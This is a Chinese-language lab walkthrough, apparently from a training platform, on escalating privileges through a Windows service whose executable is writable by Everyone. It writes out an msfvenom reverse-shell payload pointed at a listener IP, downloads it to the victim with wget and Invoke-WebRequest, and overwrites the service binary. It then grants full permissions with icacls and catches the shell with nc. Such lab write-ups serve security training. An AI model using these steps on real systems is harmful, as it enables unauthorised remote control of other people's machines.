权限提升-windows服务提权

0X01 windows服务

Windows 服务由服务控制管理器 (SCM) 管理。 SCM 是一个负责根据需要管理服务状态、检查任何给定服务的当前状态并通常提供配置服务的方法的进程。

 其次我们可以知道windows 服务是 与 exe 可执行文件相关,同时 我们可以知道服务需要指定一个用户,因此我们能够想到什么 就是上次我们分享到 计划任务 
> 
> 如果我们能够也获得相应 exe 文件的修改权限我们是否可以根据这个权限,执行一个payload获取到相应服务指定用户的权限

# 0x02 靶场实践

## 查找 windows服务

> 首先找一找服务 选一个服务 看到了WindowsScheduler

  

![](https://img2.imgtp.com/2024/03/18/1mRaN220.png)

> 我们可以看到 执行的二进制文件 C:\\PROGRA2\\SYSTEM1\\WService.exe
> 
>   

## 权限

  

> 看看权限

![](https://img2.imgtp.com/2024/03/18/9899R1FF.png)

> 其实这个时候我们就可以看到 我们everyone组有读写权限 有权限就好办

## payload

> msfvenom -p windows/x64/shell\_reverse\_tcp LHOST=10.11.69.232 LPORT=4444 -f exe-service -o 1.exe
> 
> 生成一个 服务的二进制文件 可以直接连接的

  

## 载荷投递

> kali 建立 http 服务
> 
> 在受害机器中wget [http://ip:8000/1.exe](http://ip:8000/1.exe) -O rev-svc.exe
> 
> 应该是wget 可以在 powershell中使用不过这是个安装了wget
> 
> 正常应该是使用
> 
> Invoke-WebRequest -Uri “[https://10.11.69.232/1.exe](https://10.11.69.232/1.exe)“ -OutFile”1.exe”

  

## 修改替换

> 此时我们正常会想到什么? 那肯定是利用我们的权限然后直接覆盖掉服务的 exe文件
> 
> 直接 找到 \\PROGRA2\\SYSTEM1

![](https://img2.imgtp.com/2024/03/19/JuZV7N1q.png)

> 又试了 shell  
> Move-Item -Path “C:\\Users\\thm-unpriv\\1.exe” -Destination “C:\\PROGRA2\\SYSTEM1\\WService.exe” 完美解决 直接将我们的 1.exe 换成了
> 
> 此时查看权限我们应该是由 完整的拥有这个文件的所有权限
> 
> 但是此时我们不仅是要看我们有这个权限我们还要看 我们要运行的服务的目标账户有没有权限
> 
> 要把权限 给足 直接就是 icacls 服务 /grant Everyone:F

## get shell

> 直接nc -lvp 4444
> 
> 启动服务连接